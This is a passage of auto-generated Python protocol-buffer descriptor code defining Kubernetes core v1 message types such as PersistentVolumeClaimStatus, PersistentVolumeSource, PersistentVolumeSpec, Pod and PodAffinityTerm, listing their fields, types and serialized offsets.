enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeName', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.volumeName', index=3, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storageClassName', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.storageClassName', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeMode', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.volumeMode', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='dataSource', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.dataSource', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='dataSourceRef', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.dataSourceRef', index=7, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=18298, serialized_end=18681, ) _PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY = _descriptor.Descriptor( name='CapacityEntry', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.CapacityEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.CapacityEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.CapacityEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15630, serialized_end=15725, ) _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY = _descriptor.Descriptor( name='AllocatedResourcesEntry', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.AllocatedResourcesEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.AllocatedResourcesEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.AllocatedResourcesEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=19124, serialized_end=19229, ) _PERSISTENTVOLUMECLAIMSTATUS = _descriptor.Descriptor( name='PersistentVolumeClaimStatus', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='phase', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.phase', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='accessModes', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.accessModes', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='capacity', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.capacity', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.conditions', index=3, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='allocatedResources', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.allocatedResources', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resizeStatus', full_name='k8s.io.api.core.v1.PersistentVolumeClaimStatus.resizeStatus', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY, _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=18684, serialized_end=19229, ) _PERSISTENTVOLUMECLAIMTEMPLATE = _descriptor.Descriptor( name='PersistentVolumeClaimTemplate', full_name='k8s.io.api.core.v1.PersistentVolumeClaimTemplate', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PersistentVolumeClaimTemplate.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.PersistentVolumeClaimTemplate.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=19232, serialized_end=19392, ) _PERSISTENTVOLUMECLAIMVOLUMESOURCE = _descriptor.Descriptor( name='PersistentVolumeClaimVolumeSource', full_name='k8s.io.api.core.v1.PersistentVolumeClaimVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='claimName', full_name='k8s.io.api.core.v1.PersistentVolumeClaimVolumeSource.claimName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.PersistentVolumeClaimVolumeSource.readOnly', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=19394, serialized_end=19466, ) _PERSISTENTVOLUMELIST = _descriptor.Descriptor( name='PersistentVolumeList', full_name='k8s.io.api.core.v1.PersistentVolumeList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PersistentVolumeList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.PersistentVolumeList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=19469, serialized_end=19610, ) _PERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='PersistentVolumeSource', full_name='k8s.io.api.core.v1.PersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='gcePersistentDisk', full_name='k8s.io.api.core.v1.PersistentVolumeSource.gcePersistentDisk', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='awsElasticBlockStore', full_name='k8s.io.api.core.v1.PersistentVolumeSource.awsElasticBlockStore', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostPath', full_name='k8s.io.api.core.v1.PersistentVolumeSource.hostPath', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='glusterfs', full_name='k8s.io.api.core.v1.PersistentVolumeSource.glusterfs', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nfs', full_name='k8s.io.api.core.v1.PersistentVolumeSource.nfs', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='rbd', full_name='k8s.io.api.core.v1.PersistentVolumeSource.rbd', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='iscsi', full_name='k8s.io.api.core.v1.PersistentVolumeSource.iscsi', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cinder', full_name='k8s.io.api.core.v1.PersistentVolumeSource.cinder', index=7, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cephfs', full_name='k8s.io.api.core.v1.PersistentVolumeSource.cephfs', index=8, number=9, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fc', full_name='k8s.io.api.core.v1.PersistentVolumeSource.fc', index=9, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='flocker', full_name='k8s.io.api.core.v1.PersistentVolumeSource.flocker', index=10, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='flexVolume', full_name='k8s.io.api.core.v1.PersistentVolumeSource.flexVolume', index=11, number=12, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='azureFile', full_name='k8s.io.api.core.v1.PersistentVolumeSource.azureFile', index=12, number=13, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='vsphereVolume', full_name='k8s.io.api.core.v1.PersistentVolumeSource.vsphereVolume', index=13, number=14, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='quobyte', full_name='k8s.io.api.core.v1.PersistentVolumeSource.quobyte', index=14, number=15, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='azureDisk', full_name='k8s.io.api.core.v1.PersistentVolumeSource.azureDisk', index=15, number=16, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='photonPersistentDisk', full_name='k8s.io.api.core.v1.PersistentVolumeSource.photonPersistentDisk', index=16, number=17, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='portworxVolume', full_name='k8s.io.api.core.v1.PersistentVolumeSource.portworxVolume', index=17, number=18, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='scaleIO', full_name='k8s.io.api.core.v1.PersistentVolumeSource.scaleIO', index=18, number=19, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='local', full_name='k8s.io.api.core.v1.PersistentVolumeSource.local', index=19, number=20, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storageos', full_name='k8s.io.api.core.v1.PersistentVolumeSource.storageos', index=20, number=21, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='csi', full_name='k8s.io.api.core.v1.PersistentVolumeSource.csi', index=21, number=22, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=19613, serialized_end=21082, ) _PERSISTENTVOLUMESPEC_CAPACITYENTRY = _descriptor.Descriptor( name='CapacityEntry', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.CapacityEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.CapacityEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.CapacityEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15630, serialized_end=15725, ) _PERSISTENTVOLUMESPEC = _descriptor.Descriptor( name='PersistentVolumeSpec', full_name='k8s.io.api.core.v1.PersistentVolumeSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='capacity', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.capacity', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='persistentVolumeSource', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.persistentVolumeSource', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='accessModes', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.accessModes', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='claimRef', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.claimRef', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='persistentVolumeReclaimPolicy', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.persistentVolumeReclaimPolicy', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storageClassName', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.storageClassName', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mountOptions', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.mountOptions', index=6, number=7, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeMode', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.volumeMode', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodeAffinity', full_name='k8s.io.api.core.v1.PersistentVolumeSpec.nodeAffinity', index=8, number=9, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_PERSISTENTVOLUMESPEC_CAPACITYENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=21085, serialized_end=21599, ) _PERSISTENTVOLUMESTATUS = _descriptor.Descriptor( name='PersistentVolumeStatus', full_name='k8s.io.api.core.v1.PersistentVolumeStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='phase', full_name='k8s.io.api.core.v1.PersistentVolumeStatus.phase', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.PersistentVolumeStatus.message', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.PersistentVolumeStatus.reason', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=21601, serialized_end=21673, ) _PHOTONPERSISTENTDISKVOLUMESOURCE = _descriptor.Descriptor( name='PhotonPersistentDiskVolumeSource', full_name='k8s.io.api.core.v1.PhotonPersistentDiskVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='pdID', full_name='k8s.io.api.core.v1.PhotonPersistentDiskVolumeSource.pdID', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.PhotonPersistentDiskVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=21675, serialized_end=21739, ) _POD = _descriptor.Descriptor( name='Pod', full_name='k8s.io.api.core.v1.Pod', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Pod.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.Pod.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.Pod.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=21742, serialized_end=21905, ) _PODAFFINITY = _descriptor.Descriptor( name='PodAffinity', full_name='k8s.io.api.core.v1.PodAffinity', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='requiredDuringSchedulingIgnoredDuringExecution', full_name='k8s.io.api.core.v1.PodAffinity.requiredDuringSchedulingIgnoredDuringExecution', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='preferredDuringSchedulingIgnoredDuringExecution', full_name='k8s.io.api.core.v1.PodAffinity.preferredDuringSchedulingIgnoredDuringExecution', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=21908, serialized_end=22116, ) _PODAFFINITYTERM = _descriptor.Descriptor( name='PodAffinityTerm', full_name='k8s.io.api.core.v1.PodAffinityTerm', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='labelSelector', full_name='k8s.io.api.core.v1.PodAffinityTerm.labelSelector', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='namespaces', full_name='k8s.io.api.core.v1.PodAffinityTerm.namespaces', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='topologyKey', full_name='k8s.io.api.core.v1.PodAffinityTerm.topologyKey', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='namespaceSelector', full_name='k8s.io.api.core.v1.PodAffinityTerm.namespaceSelector', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=22119, serialized_end=22333, ) _PODANTIAFFINITY = _descriptor.Descriptor( name='PodAntiAffinity', full_name='k8s.io.api.core.v1.PodAntiAffinity', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ 